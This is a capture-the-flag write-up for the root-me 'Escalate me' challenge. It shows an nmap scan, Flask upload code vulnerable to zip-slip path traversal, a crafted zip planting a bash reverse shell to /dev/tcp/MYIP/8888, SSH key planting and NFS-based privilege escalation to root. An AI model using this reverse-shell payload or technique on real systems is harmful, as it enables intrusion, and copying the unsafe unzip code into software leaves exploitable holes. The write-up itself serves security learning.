FIC - 2022 Escalate me
Scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 15:21 CEST
Initiating Ping Scan at 15:21
Scanning ec2.root-me.org (163.172.230.100) [4 ports]
Completed Ping Scan at 15:21, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:21
Completed Parallel DNS resolution of 1 host. at 15:21, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:21
Scanning ec2.root-me.org (163.172.230.100) [1000 ports]
Discovered open port 80/tcp on 163.172.230.100
Discovered open port 22/tcp on 163.172.230.100
Discovered open port 111/tcp on 163.172.230.100
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.35% done; ETC: 15:21 (0:00:05 remaining)
Discovered open port 3000/tcp on 163.172.230.100
Discovered open port 2049/tcp on 163.172.230.100
Completed SYN Stealth Scan at 15:21, 1.46s elapsed (1000 total ports)
Nmap scan report for ec2.root-me.org (163.172.230.100)
Host is up, received reset ttl 47 (0.017s latency).
rDNS record for 163.172.230.100: ctf40.root-me.org
Scanned at 2022-06-09 15:21:17 CEST for 1s
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 48
25/tcp filtered smtp no-response
80/tcp open http syn-ack ttl 47
111/tcp open rpcbind syn-ack ttl 48
2049/tcp open nfs syn-ack ttl 48
3000/tcp open ppp syn-ack ttl 48
Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds
Raw packets sent: 1005 (44.196KB) | Rcvd: 1001 (40.064KB)
Web page
Other web page, port 3000
Retrieve the sources
Upload possible
@app.route('/upload', methods=['POST'])
def upload():
if request.method == 'POST':
extract_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "uploads") # "~= $PWD/uploads"
if 'file' not in request.files:
flash('No file part')
return "No File part!"
file_uploaded = request.files['file']
#si nom de fichier vide
if file_uploaded.filename == '':
flash('No selected file')
return "No File Selected!"
'''
si y'a un . et que ça termine pas .zip:
'''
if file and allowed_file(file_uploaded.filename):
filename = secure_filename(file_uploaded.filename) #enlève tous les '../../../'
write_to_file = os.path.join(extract_path, filename)
file_uploaded.save(write_to_file) # sauvegarde sur # "~= $PWD/uploads/tructruc.zip"
unzip(write_to_file, extract_path) # puis dezip le fichier
html = '''
def unzip(zipped_file, extract_path):
print("[DEBUB] unzip....")
try:
files = []
with zipfile.ZipFile(zipped_file, "r") as z:
#print("[DEBUG] z: "+z)
for fileinfo in z.infolist():
filename = fileinfo.filename
data = z.open(filename, "r")
files.append(filename)
outfile_zipped = os.path.join(extract_path, filename) #$PWD/uploads/tructruc.zip
if not os.path.exists(os.path.dirname(outfile_zipped)):
print("[DEBUB] essaye de creer un dossier")
try:
os.makedirs(os.path.dirname(outfile_zipped))
except OSError as exc:
if exc.errno != errno.EEXIST:
print "\nRace Condition"
if not outfile_zipped.endswith("/"):
print("[DEBUB] outfile_zipped: "+outfile_zipped)
with io.open(outfile_zipped, mode='wb') as f:
f.write(data.read())
data.close()
return files
except Exception as e:
print "Unzipping Error" + str(e)
Seems to be vulnerable to path traversal
Sitemap
Evil zip file
I’ll try to upload a zip file, once uploaded il will decompress to ../config/__init__.py
content of __init__.py:
#!/usr/bin/python2.7
#content of __init__.py
import os
os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/MYIP/8888 0>&1'")
upload the file
then, got a reverse shell, uploaded my ssh_key and then can ssh to the remote machine
Run linpeas
we found that there is an unprotected nfs share
mount it on my machine
priv esc Admin
I have put my ssh to /home/admin/.ssh/auhtorized_keys
I can now ssh to the remote machine as admin user
privesc root
create a junk directory
I got root permissions and can now cat the flag